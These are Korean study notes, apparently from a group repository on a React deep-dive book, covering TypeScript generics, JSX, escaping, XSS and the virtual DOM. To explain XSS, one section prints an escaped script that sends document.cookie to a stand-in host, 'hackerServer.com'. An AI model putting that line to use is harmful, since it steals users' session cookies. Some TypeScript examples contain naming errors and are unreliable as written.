```ts 915 | function getFirstAndLast(list : T[]) : [T,T] { 916 | return [list[0],list[list.length - 1]] 917 | } 918 | ``` 919 | 920 | 제네릭을 여러 개 사용할 때는 적절한 네이밍을 지어주자. 921 | 922 | ```ts 923 | function multipleGeneric(al:First,a2:Last): [First,Last] { 924 | return [al,a2] 925 | } 926 | ``` 927 | 928 | ### 인덱스 시그니처 929 | 930 | 인덱스 시그니처는 객체의 키를 정의하는 방식이다. 931 | 932 | ```ts 933 | // 객체의 키를 좁히자 934 | type Record = Record<'hello' | 'hi', string> 935 | 936 | const hello : Hello = { 937 | hello:'hello', 938 | hi:'hi' 939 | } 940 | 941 | //타입을 사용한 인덱스 시그니처 942 | type Hello = {[key in 'Hello' | 'hi'] : string} 943 | ``` 944 | 945 | 타입스크립트에서 Object.keys를 쓸 때 오류가 발생할 수 있다. 946 | 947 | ```ts 948 | Object.keys(hello).map((key) => { 949 | //Element implicitly has an 'any' type because experssion of type 'string' 950 | const value = hello[key] 951 | return value 952 | }) 953 | ``` 954 | 955 | 이떄 Object.keys(hello)가 반환하는 값은 string[]인데, 이 string은 hello의 인덱스 키로 접근할 수 없다. 956 | 957 | ```ts 958 | (Object.keys(hello) as Array).map((value) => { 959 | const value = hello[key]; 960 | return value 961 | }) 962 | ``` -------------------------------------------------------------------------------- /[01장] 리액트 개발을 위해 꼭 알아야 할 자바스크립트/희석.md: -------------------------------------------------------------------------------- 1 | ## 📄 [노션 링크 1.1 ~ 1.4](https://obvious-salute-bf1.notion.site/1-1-1-4-d4c5c75c84304d72a58e63421c87456a) 2 | ## 📄 [노션 링크 1.5 ~ 1.7](https://obvious-salute-bf1.notion.site/1-5-8d823b438e8842b4ad65c853ecbedc01?pvs=4) -------------------------------------------------------------------------------- /[02장] 리액트 핵심 요소 깊게 살펴보기/주하.md: -------------------------------------------------------------------------------- 1 | ## 📄 [노션 링크](https://selective-scarer-9c2.notion.site/2-96cb18b4d7694411a0fac9007b6e7ce2?pvs=4) 2 | -------------------------------------------------------------------------------- /[02장] 리액트 핵심 요소 깊게 살펴보기/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/2-c49b21a59c3a4a9ca5b5951d985bfe5a?pvs=4) 2 | 3 | --- 4 | -------------------------------------------------------------------------------- /[02장] 리액트 핵심 요소 깊게 살펴보기/효중.md: -------------------------------------------------------------------------------- 1 | 2 | 옛날에 웹 개발자의 관심사는 오직 순수한 HTML이였습니다. 3 | 4 | ```jsx 5 | HTML,CSS,JS는 무조건 별도로 분리하자! 6 | ``` 7 | 8 | HTML,JS,CSS가 분리되어 깔끔하고 순수해 보입니다. 그러나 몇가지 문제가 존재했습니다. 9 | 10 | - HTML 태그를 변경하려면 자바스크립트 폴더의 위치까지 가야하네? 그리고 나서 HTML Selector를 확인해야 하네?? 11 | - 자바스크립트 파일을 수정하려면 HTML 파일을 열어서 구조를 확인하고 HTMLSelector를 확인해야 하네?? 12 | 13 | 그리고 분리 이후 유지보수에도 문제가 생깁니다. 14 | 15 | JS파일,HTML파일을 왔다갔다 하면서 코드를 수정해야 하는 귀찮음이 생겼습니다. 16 | 17 | ### 굳이 분리해야 하나? 18 | 19 | 그러던 중 Angular라는 프레임워크가 나왔습니다. 데이터가 수정되면 HTML이 자동으로 변경되고, 마크업이 변경되었습니다. 20 | 21 | ```jsx 22 |
23 |
24 | {{ item }} 25 |
26 |
27 | 32 | ``` 33 | 34 | 35 | 36 | 이렇게 한 파일안에 HTML,Controller가 한 묶음으로 여겨져서 불편함이 해소될 수 있었습니다. 37 | 38 | 이렇게 Augular를 시작으로 사람들은 자바스크립트,HTML의 묶음을 받아들이기 시작합니다. 39 | 40 | Angular가 HTML안에 자바스크립트를 넣는다면, 41 | 42 | React는 자바스크립트 안에 HTML을 넣습니다. 43 | 44 | ### JSX 45 | 46 | ![Untitled](data:image/png;base64,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) 47 | 48 | JSX는 자바스크립트 표준 코드가 아닌 페이스북이 임의로 만든 새로운 문법입니다. 49 | 50 | 따라서 반드시 **트랜스파일러**를 거쳐야 비로소 자바스크립트 코드로 변환됩니다. 보통 바벨로 자바스크립트로 변환되어집니다. 51 | 52 | JSX는 HTML,XML 외에도 다른 구문으로 확장될 수 있게 설계되어 있습니다. 53 | 54 | JSX는 JSXElement, JSXAttributes,JSXChildren,JSXStrings 4가지로 구성되어 있다. 55 | 56 | ### 요소명은 대문자로 시작해야만 되는 거 아닌가요? 57 | 58 | 리액트에서는 컴포넌트를 만들어 사용할 때 반드시 대문자로 시작해야 한다. 59 | 60 | 이는 JSXElements 표준에는 없는 내용인데, 왜냐하면 리액트에서 HTML 태그명과 사용자가 만든 컴포넌트 태그명을 구분 짓기 위해서다. 61 | 62 | - textarea, a, span 같은 현존하는 HTML 태그만 필터링하지 않고 이런 규칙을 둔 이유는 미래에 추가될 HTML 태그에 대한 가능성을 열어두며, 사람이 확실히 구별할 수 있게 하기 위함으로 보인다. 63 | 64 | ### 이스케이프 65 | 66 | 특정 문자를 원래의 기능에서 벗어나게 변환하는 것을 이스케이프라고 한다 67 | 68 | ```jsx 69 | &은 &로 70 | <은 <로 71 | >은 >로 72 | "은 "로 73 | '은 '로 74 | 띄어쓰기는  로 75 | ``` 76 | 77 | 예를 들어, HTML에서 아래는 렌더링 되지 않는다. 78 | 79 | ```jsx 80 |
81 | ``` 82 | 83 | HTML은 <을 태그의 시작으로 인지해 뒷부분에 에러가 발생한다. 84 | 85 | 이런 상황을 고려해 원래 기능에서 벗어난 문자열로 변환해 의도대로 구문을 파악하도록 이스케이프 한다. 86 | 87 | ```jsx 88 |
<onlyDev
89 | ``` 90 | 91 | 이스케이프는 XSS공격을 방지할 수 있다. 92 | 93 | ### XSS 94 | 95 | 보통 블로그나 게시판과 같은 서비스에서 발생하며, 글에 스크립트를 주입해 사용자의 정보를 터는 작업을 한다. 96 | 97 | 예를들어서 98 | 99 | - 제목과 글을 입력해 글을 쓴다. 100 | - 웹 서버에서 데이터를 받아 DB에 넣어둔다. 101 | - 다른 사용자가 해당 서버의 DB에 저장된 글을 읽으면 102 | - 그 때 내용을 볼 수 있다. 103 | 104 | [](https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https://blog.kakaocdn.net/dn/0QvWA/btq9EiqfEpu/gS1LZwFK0Ik0jTzVwOhhK1/img.png) 105 | 106 | 이 과정에서 글 대신 스크립트 언어를 써서 다른 사용자가 글을 읽을 때 107 | 108 | 스크립트 언어가 실행되어 피해를 입게 되는 것이 XSS 공격이다! 109 | 110 | ```jsx 111 | 119 | ``` 120 | 121 | ### JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프한다. 122 | 123 | 그럼 위의 코드를 이스케이프하면 어떤 모양일까? 124 | 125 | ```jsx 126 | 127 | <script> 128 | let xmlHttp = new XMLHttpRequest(); 129 | const url = 130 | "http://hackerServer.com?victimCookie=" + 131 | document.cookie; 132 | xmlHttp.open("GET", url); 133 | xmlHttp.send(); 134 | </script> 135 | ``` 136 | 137 | 이렇게 되면 HTML 본연의 태그나 스크립트 기능이 제거되기 때문에 XSS 공격을 방지할 수 있다. 138 | 139 | ### JSX의 예제 140 | 141 | ```jsx 142 | const A = 안녕하세요 143 | const B = 144 | const C = 145 | const D = 146 | const E = 147 | 148 | const F = ( 149 | 150 | 151 | 152 | ) 153 | 154 | const G = ( 155 | 156 | '안녕'} /> 157 | 158 | ) 159 | 160 | const H = ( 161 | 162 | 안녕하세요 163 | '안녕'} /> 164 | 165 | ) 166 | ``` 167 | 168 | ### JSX는 어떻게 자바스크립트로 변환될까 ? 169 | 170 | 먼저 리액트에서 JSX를 변환하는 @babel/plugin-transform-react-jsx 플러그인이 필요하다. 171 | 172 | 이 플러그인은 JSX를 자바스크립트가 이해하는 형태로 변환한다. 173 | 174 | 변환 전 코드 175 | 176 | ```jsx 177 | /** @jsxRuntime classic */ 178 | 179 | const profile = ( 180 |
181 | 182 |

{[user.firstName, user.lastName].join(" ")}

183 |
184 | ); 185 | ``` 186 | 187 | 변환 후 코드 188 | 189 | ```jsx 190 | const profile = React.createElement( 191 | "div", 192 | null, 193 | React.createElement("img", { src: "avatar.png", className: "profile" }), 194 | React.createElement("h3", null, [user.firstName, user.lastName].join(" ")) 195 | ); 196 | ``` 197 | ### 가상 DOM과 리액트 파이버 198 | 199 | 요 자료들 추천추천 200 | 201 | https://d2.naver.com/helloworld/2690975 202 | 203 | https://blog.mathpresso.com/react-deep-dive-fiber-88860f6edbd0 204 | 205 | https://bumkeyy.gitbook.io/bumkeyy-code/frontend/a-deep-dive-into-react-fiber-internals 206 | 207 | ### DOM과 브라우저 렌더링 과정 208 | 209 | DOM은 웹 페이지에 대한 인터페이스로 브라우저가 웹페이지의 콘텐츠와 구조를 어떻게 보여줄지에 대한 정보를 담는다. 210 | 211 | 1. **HTML를 [파싱](https://github.com/Esoolgnah/Frontend-Interview-Questions/blob/main/Notes/important-5/browser-rendering.md#gear-%ED%8C%8C%EC%8B%B1) 후, [DOM](https://github.com/Esoolgnah/Frontend-Interview-Questions/blob/main/Notes/important-5/browser-rendering.md#gear-dom)트리를 구축합니다.** 212 | 2. **CSS를 파싱 후, [CSSOM](https://github.com/Esoolgnah/Frontend-Interview-Questions/blob/main/Notes/important-5/browser-rendering.md#gear-cssom)트리를 구축합니다.** 213 | 3. **Javascript를 실행합니다.** 214 | - 주의! HTML 중간에 스크립트가 있다면 HTML 파싱이 중단됩니다. 215 | 4. **DOM과 CSSOM을 조합하여 [렌더트리](https://github.com/Esoolgnah/Frontend-Interview-Questions/blob/main/Notes/important-5/browser-rendering.md#gear-%EB%A0%8C%EB%8D%94%ED%8A%B8%EB%A6%AC)를 구축합니다.** 216 | - 주의! display: none 속성과 같이 화면에서 보이지도 않고 공간을 차지하지 않는 것은 렌더트리로 구축되지 않습니다. 217 | 5. **뷰포트 기반으로 렌더트리의 각 노드가 가지는 정확한 위치와 크기를 계산합니다. ([Layout](https://github.com/Esoolgnah/Frontend-Interview-Questions/blob/main/Notes/important-5/browser-rendering.md#gear-layout) 단계)** 218 | 6. **계산한 위치/크기를 기반으로 화면에 그립니다. ([Paint](https://github.com/Esoolgnah/Frontend-Interview-Questions/blob/main/Notes/important-5/browser-rendering.md#gear-paint) 단계)** 219 | 220 | ### 용어 정리 221 | 222 | - 렌더링 223 | - 컴포넌트를 호출해 return react element -> 가상DOM에 적용(재조정)하는 과정 224 | - 컴포넌트를 호출하고 return react element 225 | - 가상DOM에서 재조정 작업을 수행 226 | - react의 renderer에서 컴포넌트의 정보를 실제 DOM에 삽입(mount) 227 | - 브라우저가 DOM을 paint 228 | 229 | - react element 230 | - 컴포넌트가 호출시 return 되는 것(JSX가 바벨을 통해 전환된 React.createElement() 호출) 231 | - 컴포넌트의 여러가지 정보들(key,props,ref)을 담은 객체 232 | 233 | - fiber 234 | - 가상 DOM의 노드 객체 235 | - react element의 내용이 실제 DOM에 반영되기 전에 먼저 가상 DOM에 추가되어야 하는데, 이를 위해 확장된 하나의 객체. 236 | - 컴포넌트의 상태, life-cycle이 관리됨 237 | 238 | ### 가상 DOM의 등장 배경 239 | 240 | 브라우저가 웹페이지를 렌더링하는 과정은 매우 복잡하고 많은 비용이 든다. 241 | 242 | 또한 렌더링 이후 정보를 보여주는데 그치지 않고 사용자의 인터렉션을 통해 다양한 정보를 노출한다. 이 때 사용자의 인터렉션으로 인해 웹 페이지가 변경되는 상황 또한 고려해야 한다. 243 | 244 | 하나의 인터렉션으로 DOM의 여러 가지가 바뀌는 사나리오는 요즘 현재 웹에서 되게 흔한 상황이다. 그리고 이런 DOM의 변경점을 추적하기에는 개발자 입장에서 너무 수고가 많이 들게 된다. 245 | 246 | 개발하는 사람 입장에서 인터렉션에서 발생하는 DOM의 변경보다는 그래서 최종적으로 어떻게 DOM이 바뀌었는데? 가 더 궁금할 수 있다. 이렇게 인터렉션에 따른 DOM의 최종 결과물을 간편하게 제공하기 위해 가상 DOM이 등장한다. 247 | 248 | ### 변화를 감지하는 방법 249 | 250 | - Dirty checking 251 | 252 | 이 방법은 node tree를 재귀적으로 순회하면서 어떤 노드에 변화가 생겼는지 인식하는 방법이다. 253 | 254 | 그리고 변화된 노드를 리랜더링 시키는 방법이다. 그러나 이렇게 하면 변화가 없을 때에도 재귀적으로 노드를 탐색해야 하므로, 불필요한 비용이 들 수 있다. 255 | 256 | - observable 257 | 258 | 이 방법은 변화가 생긴 노드가 관찰자에게 알림을 보내주는 방식이다. 259 | 260 | 리액트의 경우 state의 변화가 생겼을 때, 리액트에게 다시 렌더링을 해줘라고 알림을 보내준다. 261 | 262 | 그리고 리액트는 알림을 받으면 다시 렌더링을 시킨다. 노드에 변화가 생겼다는 알림을 받으면 렌더링하는 것이다. 263 | 264 | 그러나 observable의 방법도 문제가 있다. 변화에 대한 알림을 받으면 전체를 렌더링시킨다. 이 방법은 엄청나게 많은 reflow-repaint 과정을 일으칼 수 있다. 265 | 266 | ### 가상 DOM 267 | 268 | 가상 DOM은 메모리에 존재하는 하나의 객체이다. 리액트는 이제 state의 변화가 생기면 -> 실제의 DOM을 렌더링시키는 게 아니라 가상 DOM을 렌더링시킨다. 269 | 270 | ```ts 271 | 브라우저를 새로 렌더링하는 비용 VS 객체를 새로 만드는 비용 272 | ``` 273 | 274 | 당연하게도, 새 객체를 만드는 것이 더 효율적으로 먹히게 된다. 275 | 276 | 최종적으로 리액트에서 변화가 생기면 가상 DOM이라는 메모리 상에 객체를 하나 만들고, 거기서 변화가 생긴 내용과 실제 DOM을 비교해 필요한 부분만 브라우저에 적용시킨다. 277 | 278 | ### 가상 DOM의 current 트리와 workInProgress트리 279 | 280 | 가상DOM은 fiber node로 구성된 트리형태로 이루어져 있다. 281 | 282 | ![](data:image/png;base64,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